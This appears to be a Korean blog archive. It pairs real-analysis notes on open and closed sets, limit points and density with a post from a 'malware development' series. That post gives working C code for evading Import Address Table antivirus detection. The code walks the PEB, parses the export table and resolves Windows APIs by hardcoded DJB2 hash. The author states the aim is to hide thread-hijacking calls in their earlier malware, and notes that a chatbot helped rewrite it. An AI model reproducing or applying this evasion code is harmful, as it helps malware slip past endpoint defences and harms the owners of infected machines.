F가 opened $\Leftrightarrow$ $\forall x \in F, \ \exists \epsilon > 0, \ V_{\epsilon}(x) \subseteq F$
$\Rightarrow V_{\epsilon}(x) \subseteq F \subseteq A$
따라서, interior의 정의에 의해
$F \subseteq A^{\circ}$
-> $A^{\circ}$는 A에 포함되는 열린 집합 중 가장 작은 집합

boundary (경계)

근방이 A나 $A^C$에 둘 다 속하는 점의 집합
$\partial A = \bar{A}\backslash A^{\circ}$
$\Leftrightarrow {x \ | \ \forall \epsilon > 0, \ V_{\epsilon}(x)\cap A \neq \emptyset, \ V_{\epsilon}(x)\cap A^{C} \neq \emptyset}$

예)

집합	limit point	open/closed/?	$\bar{A}$	$A^{\circ}$	$\partial A$
(0, 1)	[0, 1]	open	[0, 1]	(0, 1)	{0, 1}
[0, 1]	[0, 1]	closed	[0, 1]	(0, 1)	{0, 1}
$\mathbb{Q}$	$\mathbb{R}$	?	$\mathbb{R}$	$\emptyset$	$\mathbb{R}$

참고)
open set은 interior로만 이루어진 집합
closed set은 boundary를 포함하는 집합

[해석학](17)[open-closed complement & dense]

황올뱀 — Wed, 20 May 2026 17:27:14 +0900

open-closed complement

어떤 집합 $A \in \mathbb{R}$에 대해,
A가 open set $\Rightarrow$ $A^C$는 closed set
A가 closed set $\Rightarrow$ $A^C$는 open set

증명) open -> 여집합 closed
A가 open set 이라고 하자
$x \in A^C \Leftrightarrow x \not\in A$
x를 $A^C$의 limit point라 할 때,
$x \not\in A^C$라 가정하자
$\Leftrightarrow x \in A$
A는 open set이므로,
$\Leftrightarrow \exists \epsilon > 0, \ V_{\epsilon}(x) \subseteq A$
$\Rightarrow V_{\epsilon}(x)\bigcap A^C = \emptyset$
그러나, x가 limit point이므로 공집합이면 안됨 -> 모순
따라서 $x \in A^C$
즉, 모든 limit point가 $A^C$안에 들어감
따라서, $A^C$는 open set
증명) closed -> 여집합 open
A가 closed set 이라고 하자
$x \in A^C \Leftrightarrow x \not\in A$
x를 A의 limit point라 가정하자.
A는 closed set이다
$\Leftrightarrow \forall \text{limit point} \in A$
그러나, $x \not\in A$이므로 -> 모순
따라서 x는 limit point가 될 수 없다.
$\Rightarrow \exists\epsilon > 0, \ V_{\epsilon}\bigcap A = \emptyset$
$\Rightarrow V_{\epsilon} \subseteq A$
따라서, $A^C$는 open set

참고) open/closed의 여집합이 closed/open이라는 소리지
open이 아니면 closed, closed가 아니면 open이라는 소리는 아님
    예) {$\frac{1}{n}$ | $n \in \mathbb{N}$} 은 open도 아니고 closed도 아니다.
    - open
        $\forall \epsilon > 0, \ (1-\epsilon, 1+\epsilon) \not\subseteq (\frac{1}{n})$
    - closed
        limit point = {0}
        but, ${0} \not\subseteq (\frac{1}{n})$

dense (조밀성)

$\bar{A} = \mathbb{R}$이면 A는 dense하다
즉, 조밀하게 실수 위의 임의의 점이 A의 원소 또는 극한점이다
$\iff \forall$ 공집합이 아닌 open set은 A의 원소를 적어도 1개 포함
$\iff \forall x \in \mathbb{R}, \ \forall \epsilon > 0 , \ V_{\epsilon} \bigcap A \neq \emptyset$
실수 안에 어느 부분을 잡아도 A의 원소가 $\epsilon$-근방에 잡힌다

예) 해석개론 4에서 본 것처럼, $\mathbb{Q}$는 dense하다.

[해석학](16)[open & closed set]

황올뱀 — Tue, 19 May 2026 16:26:26 +0900

ε-neighborhood

$a \in \mathbb{R}, \ \epsilon > 0$에 대해, a의 ε-근방은
$V_{\epsilon}(a) = {x \in \mathbb{R} \ | \ |x-a|<\epsilon } = (a-\epsilon, a+\epsilon)$

open set

$O \subseteq \mathbb{R}$에 대해,
$\forall x \in O, \ \exists \epsilon > 0, \ V_{\epsilon}(x) \subseteq O$
즉, 집합의 모든 점에 대해, 어떤 ε이 존재해
그 ε-근방이 다시 그 집합에 들어가면 열린 집합이다.

예) (a, b)는 열린 집합인가?
    $\forall x \in (a, b)$애 대해, $\epsilon = \min(x-a, \ b-x)$로 잡자.
    $V_{\epsilon}(x) = (x-\epsilon, x+\epsilon)$
    - $\epsilon = x-a$ (즉, $x-a < b-x$)
        $V_{\epsilon}(x)$ = $(a, 2x-a)$
        이떄, 2x-a < b 이므로,
        $V_{\epsilon}(x) \subseteq (a, b)$
    - $\epsilon = b-x$ (즉, $x-a > b-x$)
        $V_{\epsilon}(x)$ = $(2x-b, b)$
        이때, 2x-b > a 이므로,
        $V_{\epsilon}(x) \subseteq (a,b)$
    -> 따라서 모든 경우에서 $V_{\epsilon} \subseteq (a,b)$이므로
    (a, b)는 열린 집합

예) $\mathbb{R}$은 열린 집합인가?
    $\forall x \in \mathbb{R}$에 대해, $\forall \epsilon > 0$에 대하여
    $V_{\epsilon}(x) = (x-\epsilon, x+\epsilon) \subseteq \mathbb{R}$이므로,
    $\mathbb{R}$은 열린 집합

예) $\emptyset$은 열린 집합인가?
    $\forall x \in \mathbb{R}$에 대해, $x \not\in \emptyset$이므로
    전제가 거짓이므로, 공허참에 의해
    -> $\emptyset$은 열린 집합이다

open set의 성질

union은 open에 영향 없음
open set의 유한번의 intersection은 open set
단, 무한번의 교집합은 not opened일수도 있음...
예) $\bigcap\limits^{\infty}{(-\frac{1}{n}, \frac{1}{n})} = {0}$
이건 closed set이다.
$\mathbb{R}, \ \emptyset$은 open set이다.

limit point (L(A))

$A \subseteq \mathbb{R}$에 대해,
$\forall \epsilon > 0, \ V_{\epsilon}(x)\bigcap (A \setminus {x}) \neq \emptyset$인 x를 limit point라 부른다.
    즉, 모든 $\epsilon$에 대해, x 자기 자신을 제외한 근방에서 A의 원소가 존재하면
    x를 집적점(극한점)이라 부른다.
$\Leftrightarrow \exists(a_n) \in A, \ a_n \neq x, \ a_n \to x$
    즉, x로 수렴하는 A의 부분수열이 존재한다
$\Leftrightarrow ((x-\epsilon, x+\epsilon)\setminus{x})\bigcap A \neq \emptyset$
    자신을 제외한 근방에 a의 원소가 존재한다

참고) limit point는 A에 속할 필요는 없음
보는 주안점이 주변에 A의 원소가 존재하냐임

예) (0, 1)의 limit point?
    - $\forall x \in (0,1),$
        $\forall \epsilon > 0$에 대해,
        $\exists$y = min(x+$\frac{\epsilon}{2}$, 1)로 잡으면,
        $y \in ((x-\epsilon, x+\epsilon)\setminus{x})\bigcap (0,1)$
        즉, (0, 1)은 limit point에 속함
    - x = 1 or 0
        $\frac{1}{n+1} \in (0,1)$ 에 대해 limit point의 수열에 대한 동치로 증명
            $\lim\limits_{n \to \infty}{\frac{1}{n+1}} = 0$ 이고
            $\frac{1}{n+1} \neq 0$ 이므로
        0은 limit point다
        x=1인 경우도 $1- \frac{1}{n+1}$에 대해 적용하면 동일함
    - x<0 or x>1
        $\epsilon$을 매우 작게 잡으면 A의 원소가 포함되지 않음
    -> (0, 1)의 limit point = [0, 1]

예) $A = {\frac{1}{n} \ |\ n\in \mathbb{N} }$의 limit point?

    0은 limit point이지만,
        $\forall \epsilon > 0, \ |\frac{1}{n} - 0| < \epsilon$ (archimedian)이므로,
        항상 0 자기 자신을 제외한 neighbor $\frac{1}{n}$이 존재함
    1은 limit point가 아님...
        단순히 $\epsilon = 0.1$로 잡으면
        $V_{\epsilon}(1)\bigcap(A \setminus {1}) = {1} \bigcap (A \setminus {1}) = \emptyset$
        -> limit point 아님
    마찬가지로 다른 임의의 A 안의 점도 limit point가 아님...
    -> limit point = {0}

예) $\mathbb{Z}$의 limit point?
    위와 마찬가지로 $\forall x \in \mathbb{Z}$에 대해,
    $\epsilon = 0.5$로 잡으면, 자기자신 외에는 $\epsilon$-neighbor가 없으므로,
    $\mathbb{Z}$의 limit point는 없음

isolated point

$A \subseteq \mathbb{R}$에 대해,
$\exists \epsilon > 0, \ V_{\epsilon}(x)\bigcap A = {x}$인 limit point가 아닌 x를 isolated point라 부른다.
즉, 어떤 $\epsilon$에 대해, 근방에서 A의 원소가 자기 자신밖에 존재하면
x를 고립점이라 부른다.

모든 집합 = ${ \text{limit_point} } \cup { \text{isolated_point} }$

closed set

$\forall \text{limit point} \in A$인 집합 A를 closed set이라 한다.
$\Leftrightarrow a_n \in A \text{ and } \ a_n \to L \Rightarrow L \in A$
closed set은 limit에 대해 닫혀있다

예) [0, 1]은 closed set인가?
    아까 (0, 1)의 limit point가 [0, 1]이었고,
    [0, 1]에서도 마찬가지이다.
    $[0,1] \subseteq [0,1]$이므로, $[0,1]$은 closed

예) {$\frac{1}{n}$ | $n \in \mathbb{N}$}$\bigcup${0}은 closed set인가?
    아까 {$\frac{1}{n}$ | $n \in \mathbb{N}$}의 limit point가 {0}이란 것은 밝혔다.
    따라서, {0} $\in$ {$\frac{1}{n}$ | $n \in \mathbb{N}$}$\bigcup${0}이므로,
    {$\frac{1}{n}$ | $n \in \mathbb{N}$}$\bigcup${0}은 closed

closed set의 성질

closed set의 유한번의 union은 closed set
단, 무한번의 교집합은 not closed일수도 있음...
예) $\bigcup\limits^{\infty}{(\frac{1}{n}, 1)} = (0, 1]$
이건 open set이다
intersection은 closed set에 영향 없음
$\mathbb{R}, \ \emptyset$은 closed set이다.

-> 증명은 open set의 성질에 드모르간 정리를 사용하면 됨

닫힌 집합 내부의 수열이 수렴하면 극한값을 포함한다
닫힌 집합 K에 대해 $(a_n) \subseteq K$로 수열을 잡자.
이때, $a_n \to L$이라 하자.
만약 $L \not\in K$라면,
$L \in K^C$이며, $K^C$는 open set이다.
    $\Rightarrow \exists \epsilon > 0, \  V_{\epsilon}(L) \subseteq K^C$
    그러나, 극한의 정의에 의해,
          $\forall \epsilon > 0, \ \exists n \ge N, \ |a_N - L| < \epsilon$
    따라서, $n_k > N$으로 잡으면, $a_N \in V_{\epsilon}(L) \subseteq K^C$
    -> 그러나, $a_n$은 K의 원소로만 잡았으므로, 모순
-> 따라서, $L \in K$여야 한다.

[악성코드 개발](19)[IAT bypass]

황올뱀 — Thu, 14 May 2026 21:45:48 +0900

이전까지는 직접 스레드 만드는 것을 우회하고
의심을 피하기 위해 스레드를 잠깐 멈추고 내 페이로드를 실행 후 원복하는 것까지 했다.

근데 이건 의심을 덜을 수는 있지만, 근본적인 해결책은 아니다.
악성코드 개발 18에서 사용된 API 함수인 getThreadContext, virtualAllocEx 등을 백신 6의 IAT 백신에 등록하기만 해도 잡힐 것이다.

IAT의 동작

이전에 IAT가 뭔지는 알아봤는데,
IAT를 우회하기 위해 더 자세히 IAT가 dll과 사용된 API를 저장하는 방식을 알아보자.

.idata
 ├── IMAGE_IMPORT_DESCRIPTOR
 ├── DLL 이름 문자열
 ├── Import Lookup Table(INT/ILT)
 ├── Import Address Table(IAT)
 └── Hint/Name Table

즉, IAT라고 뭉뚱그리긴 했지만 백신 6의 백신은 INT를 순회하며 탐지하는 것이다.
IAT, INT, Import descriptor를 IAT라 섞어 말하기도 한다...

이 idata 섹션에 외부 함수 정보를 써놓는다.

.c 파일을 컴파일 하는 과정 중, .o를 만드는 과정에서 외부 함수를 참조하라 써놓음
링킹 과정에서 해당 설명을 참고해 특정 .dll 등을 참조하라 import metadata에 써놓음
-> 이떄 IAT가 생성됨 (아직 실제 주소 X)
exe 파일 실행 시 실제 dll에서 함수 주소를 받아 IAT에 덮어 씀

dynamic API call

windows의 프로세스 내부에는 PEB라는 구조체가 있으며,
PEB의 loaded module list를 읽으면
winapi에 필요한 kernel32.dll의 base를 얻을 수 있음

export table을 직접 파싱하고
원하는 winapi_function의 주소를 얻으면
실제 함수 주소 = kernel32.dll base + addr

원하는 함수를 함수 포인터로 바꿔서 호출 가능!
이떄, 직접 API 함수를 호출한게 아니라, 그냥 사용자 함수를 호출한 것처럼 보이므로, IAT에 흔적이 남지 않는다.

-> 즉, IAT의 역할을 내가 직접 해서 idata에 기록이 안되게 하는 방법!

코드 구현

오늘은 간단?한 PoC 후 악성코드 개발 18에 적용해보겠다.

#include <Windows.h>
#include <winternl.h>
#include <intrin.h>
#include <stdio.h>

#pragma comment(lib, "ntdll.lib")

typedef struct _MY_LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;

    PVOID DllBase;
    PVOID EntryPoint;

    ULONG SizeOfImage;

    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;

} MY_LDR_DATA_TABLE_ENTRY, * PMY_LDR_DATA_TABLE_ENTRY;

typedef struct _MY_PEB_LDR_DATA {
    ULONG Length;
    BOOLEAN Initialized;
    PVOID SsHandle;

    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;

} MY_PEB_LDR_DATA, * PMY_PEB_LDR_DATA;

typedef struct _MY_PEB {
    BYTE Reserved1[2];
    BYTE BeingDebugged;
    BYTE Reserved2[1];

    PVOID Reserved3[2];

    PMY_PEB_LDR_DATA Ldr;

} MY_PEB, * PMY_PEB;

typedef struct _EXPORT_TABLE_INFO {
    PDWORD AddressOfFunctions;
    PDWORD AddressOfNames;
    PWORD  AddressOfOrdinals;
    DWORD  NumberOfNames;
} EXPORT_TABLE_INFO, *PEXPORT_TABLE_INFO;

일단 PEB를 저장할 구조체를 적당히 정의하고

필요 함수 정의

https://github.com/vxunderground/vx-api
해당 레포에서 유용한 함수 몇 개 가져옴
VX-API: windows 환경의 악성코드 함수/스니펫 모음집
-> 여기에서는 PEB 받기, hash함수를 가져왔다.

// PEB 얻기
PMY_PEB GetPeb() {
#ifdef _WIN64
    return (PMY_PEB)__readgsqword(0x60);
#else
    return (PMY_PEB)__readfsdword(0x30);
#endif
}

// DJB2 HASH
DWORD HashStringDjb2A(LPCSTR String) {
    ULONG Hash = 5381;
    INT c;

    while ((c = *String++))
    {
        Hash = ((Hash << 5) + Hash) + c;
    }

    return Hash;
}

DWORD HashStringDjb2W(LPCWSTR String) {
    ULONG Hash = 5381;
    INT c;

    while ((c = *String++))
    {
        if (c >= 'a' && c <= 'z')
            c -= 0x20;

        Hash = ((Hash << 5) + Hash) + c;
    }

    return Hash;
}

// 멤버 포인터만 있을 때 구조체 시작 주소 역산 매크로
// LIST_ENTRY* -> MY_NODE* 얻기
#ifndef CONTAINING_RECORD
#define CONTAINING_RECORD(address, type, field) \
    ((type *)((PCHAR)(address) - (ULONG_PTR)(&((type *)0)->field)))
#endif

PEB walking

dll base를 얻기 위해선 PEB를 봐야 한다.

PEB (Process Environment Block)
loader 정보 (Ldr)

  dll의 목록을 linked list로 관리
  (dll name, dll base, ep, ...)

heap
process parameter

즉, Ldr을 순회하며 보면 될 것이다!

// PEB WALKING으로 DLL BASE 찾기
DWORD64 GetModuleHandleByHash(DWORD Hash){
    PMY_PEB pPeb = GetPeb();

    if (!pPeb)
        return 0;

    PMY_PEB_LDR_DATA pLdr = pPeb->Ldr;

    if (!pLdr)
        return 0;

    PLIST_ENTRY pHead = &pLdr->InLoadOrderModuleList;

    PLIST_ENTRY pCurrent = pHead->Flink;

    while (pCurrent != pHead)
    {
        PMY_LDR_DATA_TABLE_ENTRY pEntry =
            CONTAINING_RECORD(
                pCurrent,
                MY_LDR_DATA_TABLE_ENTRY,
                InLoadOrderLinks
            );

        if (pEntry->BaseDllName.Buffer)
        {
            if (HashStringDjb2W(
                pEntry->BaseDllName.Buffer) == Hash)
            {
                return (DWORD64)pEntry->DllBase;
            }
        }

        pCurrent = pCurrent->Flink;
    }

    return 0;
}

GetModuleHandleW()를 직접 구현한 것과 거의 비슷하다.

PEB를 얻어오고
loader 정보에 접근하여
로드된 dll 리스트를 순회하며
hash(dll_name) = hash(target_dll)이면 dll base 반환

export table parsing

dll 내부의 export table에 함수의 주소 정보가 저장됨
-> export table을 알아내야 함

// EXPORT TABLE PARSING
BOOL GetExportTableInfo(DWORD64 ModuleBase, PEXPORT_TABLE_INFO ExportInfo){
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ModuleBase;

    if (pDos->e_magic != IMAGE_DOS_SIGNATURE){
        return FALSE;
    }

    PIMAGE_NT_HEADERS pNt =
        (PIMAGE_NT_HEADERS)(ModuleBase + pDos->e_lfanew);

    if (pNt->Signature != IMAGE_NT_SIGNATURE){
        return FALSE;
    }

    IMAGE_DATA_DIRECTORY ExportDir =
        pNt->OptionalHeader
            .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

    if (!ExportDir.VirtualAddress){
        return FALSE;
    }

    PIMAGE_EXPORT_DIRECTORY pExport =
        (PIMAGE_EXPORT_DIRECTORY)(
            ModuleBase + ExportDir.VirtualAddress);

    ExportInfo->AddressOfFunctions =
        (PDWORD)(ModuleBase + pExport->AddressOfFunctions);

    ExportInfo->AddressOfNames =
        (PDWORD)(ModuleBase + pExport->AddressOfNames);

    ExportInfo->AddressOfOrdinals =
        (PWORD)(ModuleBase + pExport->AddressOfNameOrdinals);

    ExportInfo->NumberOfNames =
        pExport->NumberOfNames;

    return TRUE;
}

dll base에서 시작해 Dos header 읽기
-> NT header 오프셋 알아옴
NT header 읽기
optional header 읽기
-> export directory RVA 알아옴
export directory에서 데이터 읽기
저장된 RVA moduleBase를 더해 VA로 바꾸고
PEXPORT_TABLE_INFO ExportInfo에 저장

최종 addr 계산

DWORD64 GetProcAddressDjb2(DWORD64 ModuleBase, DWORD64 Hash){
    EXPORT_TABLE_INFO ExportInfo = {0};

    if (!GetExportTableInfo(ModuleBase, &ExportInfo)){
        return 0;
    }

    for (DWORD i = 0; i < ExportInfo.NumberOfNames; i++)
    {
        LPCSTR pFuncName =
            (LPCSTR)(
                ModuleBase +
                ExportInfo.AddressOfNames[i]);

        if (HashStringDjb2A(pFuncName) == Hash)
        {
            WORD Ordinal =
                ExportInfo.AddressOfOrdinals[i];

            DWORD FunctionRVA =
                ExportInfo.AddressOfFunctions[Ordinal];

            return ModuleBase + FunctionRVA;
        }
    }

    return 0;
}

base랑 export table 정보 가지고
원하는 function의 hash와 일치하는 함수가 나올 때 까지 순회하며
만약 조건이 맞으면 해당 주소 반환

main

// Beep typedef
typedef BOOL(WINAPI* pBeep_t)(
    DWORD dwFreq,
    DWORD dwDuration
    );

int main()
{
    //DWORD kernelHash = HashStringDjb2W(L"KERNEL32.DLL");
    // kernel32.dll의 해시를 외부에서 구해 하드코딩함
    DWORD kernelHash = 1843107157;

    DWORD64 kernelBase = GetModuleHandleByHash(kernelHash);

    if (!kernelBase)
    {
        printf("[-] Failed to find kernel32\n");
        return -1;
    }

    printf("[+] kernel32 : 0x%llX\n", kernelBase);

    //DWORD beepHash = HashStringDjb2A("Beep");
    DWORD beepHash = 2088958881;

    pBeep_t myBeep =
        (pBeep_t)GetProcAddressDjb2(
            kernelBase,
            beepHash
        );

    if (!myBeep)
    {
        printf("[-] Failed to resolve Beep\n");
        return -1;
    }

    printf("[+] Beep : 0x%llX\n", (DWORD64)myBeep);

    myBeep(750, 500);

    return 0;
}

beep 함수를 흔적 없이 부를 수 있다.

pBeep_t 타입을 정의해, 매개변수, 반환값 등이 꼬이지 않게 했으며,
직접 얻어온 beep의 주소를 통해 myBeep이라는 함수로 호출할 수 있다.

-> 이전에 만든 악성코드도 숨기고 싶은 API를 해당 과정으로 바꿔주면 IAT 탐지를 회피할 수 있다!
지피티한테 Beep을 MyBeep으로 바꾼 방식으로 고쳐달라고 하면 잘 바꿔준다.
(너무 길어서 첨부파일 참조...)

dynamic_API_thread_hijacking.c

0.01MB

이게 dynamic API를 적용하기 전의 PE파일이다.
의심되는 Get/SetThreadContext나 VirtualAcllocEx등이 고스란히 보인다...
21개의 함수를 import

반면, 적용한 파일은 동일한 동작을 하는 코드임에도

딱히 Kernel32에서 불러오는 함수가 critical하지 않아 보인다!
7개의 함수를 import
정상적으로 잘 숨겨진 것이다!